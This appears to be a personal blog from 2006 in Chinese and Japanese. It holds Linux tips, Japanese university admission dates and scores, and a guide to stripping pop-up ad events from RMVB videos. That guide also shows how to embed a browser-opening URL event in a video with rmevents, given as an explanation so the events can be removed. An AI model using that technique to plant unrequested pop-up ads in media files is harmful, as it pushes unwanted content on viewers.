雖然說整個Linux做起來很麻煩,但是做的途中可以發現不少本來欠缺的Linux的常識

原始網站 Linux From Scratch
http://www.linuxfromscratch.org/

中文用戶組(CHS)
http://lfs.linuxsir.org/

2006-10-22

RMVB 網站廣告移除方法:

在播放一些從網上下載的RMVB檔時,放著放著就會打開一個網頁,而且每次放到這個地方就會自動打開網頁,很麻煩。其實這是別人做廣告的一個方法,他們把網頁資料保存在Real檔的剪輯資訊中就會這樣了,我們只要去掉剪輯資訊中的網頁資料就可以解決這個問題了。

方法一:
  首先要下載軟體“Helix Producer Plus”,下載後進行安裝,軟體默認是安裝在“C:\Program Files\Real\Helix Producer Plus”下的。
  安裝好找到要去除網頁的RMVB檔(如input.rmvb),在旁邊新建一個空白的文字檔案(如event.txt),接著再新建一個批次檔案(如abc.bat),並在裏面輸入如下內容:

  "C:\Program Files\Real\Helix Producer Plus\RealMediaEditor\rmevents.exe" -i input.rmvb -e event.txt -o output.rmvb
  其中input.rmvb是要進行處理的檔,event.txt是編輯剪輯資訊的檔,output.rmvb表示處理後正常的RMVB檔。
  檔建立好後,就可以來運行批次檔案abc.bat,這時就會生成一個output.rmvb的視頻檔,它就是已經去除自動打開網頁的檔。

網站廣告原理:可以在影片中添加事件(events)是rm檔的特性之一。用戶可以安裝 RealProducer Plus (Realnetworks的官方產品之一) 來對rm檔進行編輯、製作、修改。其安裝目錄下的 RealMediaEditor/rmevents.exe 可執行檔正是用來為rm檔插入事件的命令行程式。你可以任意新建一個文字檔案,比如myevents.txt,檔內容如下:

u 00:00:08.0 00:00:20.0 &&_rpexternal&&http://www.xxxx.net/

其中,u 是事件標誌(Flag), 表示要在檔中插入的是一個url位址,第2,第三個欄位分別表示起止時間點,單位格式是 小時:分:秒.毫秒最後一個欄位是你要彈出的url的位址 , _rpexternal 參數表示在外部流覽器打開url,而不是使用realplayer內嵌的流覽器。保存之後打開命令行視窗,cd到 {RealProducer安裝目錄}/RealMediaEditor 子目錄,執行以下命令:

rmevents -i D:\MovieOriginal.rm -e D:\myevents.txt -o D:\movieWithPopup.rm

執行完成之後用播放器播放處理之後的movieWithPopup.rm檔,當播放到第8秒或者你拖動進度條至8-20秒之間的任一位置,都會彈出一個視窗來。知道了彈出視窗的原理,要把惡意rm文件的惡意代碼給去掉也很簡單了。你只要新建一個完全空白的myevents.txt文字檔案,然後重新執行上面的命令行就可以把指定rm檔中的所有事件都清除乾淨。不過要注意的是,rm事件中除了可以彈出視窗之外,還可以用 i 標誌來為剪輯添加一些說明資訊或標題。執行上述命令之後所有的標題資訊可能也會一併去除。但一般來說我們看rm電影不太會去關心這些剪輯標題資訊(何況大部分的標題資訊都是些網站的廣告之類),因此關係不大。
完整的rmevents命令行的使用方法,可以參見安裝目錄下help目錄幫助文檔。

2006-09-18

Jedi.org

又找到一個軟體人的網站
blog非常有參考作用

また1つソフト人のウェブページを見つけました。
ブログはすごく参考的である。

2006-09-17

目指し大学の学部とサイトリンク

東京工業大学 理学部 情報科学科 (第一類)
       工学部 情報工学科(第五類) (偏差値85以上)
メインホームページ http://www.titech.ac.jp/home-j.html
入学募集要項 http://www.gakumu.titech.ac.jp/nyusi/pdf/g/h19_guidelines_sennbatu19.pdf

留学試験 日本語200点以上 基礎学力理系250点以上
出願期間:2007/01/09~2007/01/11
受験料:17,000
学力検査:2007/02/01
面接試験:2007/02/25
合格発表:2007/03/10



筑波大学 情報学群 情報科学類(偏差値80以上)
メインホームページ http://www.tsukuba.ac.jp/
留学試験 平均点以上
出願期間:2007/01/18~2007/01/24
受験料:17,000
面接試験:2007/02/25
合格発表:2007/03/08



埼玉大学 工学部 情報システム工学科 (偏差値78以上)
メインホームページ http://www.saitama-u.ac.jp/nyu/nyuushi/

留学試験 日本語280点以上 数学140点 理科140点以上
入学募集要項 11月下旬発表
出願期間:2007/01/29~2007/02/06
面接試験:2007/02/16
合格発表:2007/03/06



北海道大学 工学部 情報
メインホームページ http://www.hokudai.ac.jp/
留学試験 日本語200点以上 基礎科目総計点数265点以上
入学募集要項 11月下旬発表
出願期間:2007/01/05~2007/01/12
一次合格通知:2007/02/13
面接試験:2007/02/22
合格発表:2007/03/08

2006-08-25

日本語能力試験&日本留学試験

日本語能力試験http://www.jees.or.jp/jlpt/
日本留学試験http://www.jasso.go.jp/eju/index.html

今年(2006年、平成18年)の六月の日本留学試験に
私は以下の成績を取りました。
日本語 314/400(聴解8x/120,聴読解8x/120,読解157/160、詳しいのはあとで書きます)
作文 6/6
数学コース2 124/200
物理 7x/100
化学 6x/100

もっと頑張って勉強しなければなりませんね。数学は150以上、物理と化学は80以上。
日本語は340点を取ればいいですけど、ちょっと難しいですね。

日本語能力試験は1級を取りますので、400点のうちに300点を取りたいな

では、また頑張ります。

2006-07-29

ACM problemset 100 send!!

夏休みが始まりから、ずっとACMの簡単の問題を解けてます。さっき、やっと100センドになりました。
夏休みの目標は100問を解け、頑張るぞ!

2006-07-20

SuSE - The Linux update easily

先日からM$がまた問題が出てきって、およびMandriva 2006がsmartを予装していないので、
新たなLinux Distを探しました。そこで、SuSEが私の目の前に出てきました。

SuSE 10.1 のDVDがpackageの包装で問題があるらしいので、直接ハードディスクにインストールはできなかった。ですから、VMwareでインストールしました。

インストールのとき、直接ISOをVMwareで使用することはできません。Daemonとかの仮想ドライブを使って、ようやくインストールは無事で終わりました。でも、インストールの後のアップデットは問題がありました。
smartがインストールしているのに、channelにはただRPMしかありません。

では、増加の必要のchannelを、ここに書きます。
type: rpm-md
name: YUM
URL: http://ftp.novell.co.jp/pub/suse/suse/update/10.1/

2006-06-02

smart - The yum for Mandriva

關聯網址
When urpmi is becoming smart, part I
When urpmi is becoming smart, part II
When urpmi is becoming smart, part III


SMART的語法


smart的語法類似於yum,所有功能都由smart這個命令獨立操作。增加一個channel的語法是:

  smart channel --add [name] type=[repotype] baseurl=[baseurl] hdlurl=[hdlist]

EXAMPLE
smart channel --add main type=urpmi baseurl=ftp://ftp.nara.wide.ad.jp/pub/Linux/Mandrakelinux/official/2006.0/i586/media/main hdlurl=ftp://ftp.nara.wide.ad.jp/pub/Linux/Mandrakelinux/official/2006.0/i586/media/media_info/ hdlist_main.cz

安裝軟件
  smart install [軟件名稱]

移除軟件
  smart remove [軟件名稱]

smart最大的特點,在於它實現了mirror的功能,使得可以做到同一檔案多站同時下載的功能

  smart mirror --add [原始站] [鏡象站]

其餘請看man



關於SMART的channel
在smart中,軟體頻道被稱作channel。
可以根據自己的增加添加多個類型完全不同的channel。
Mandriva: urpmi
Fedora Core: yum
Debian: apt-deb
為了安全起見,不要在另一個版本中添加其他版本的channel。

GoogleCode-Prettify

SyntaxHighlighter

人気の投稿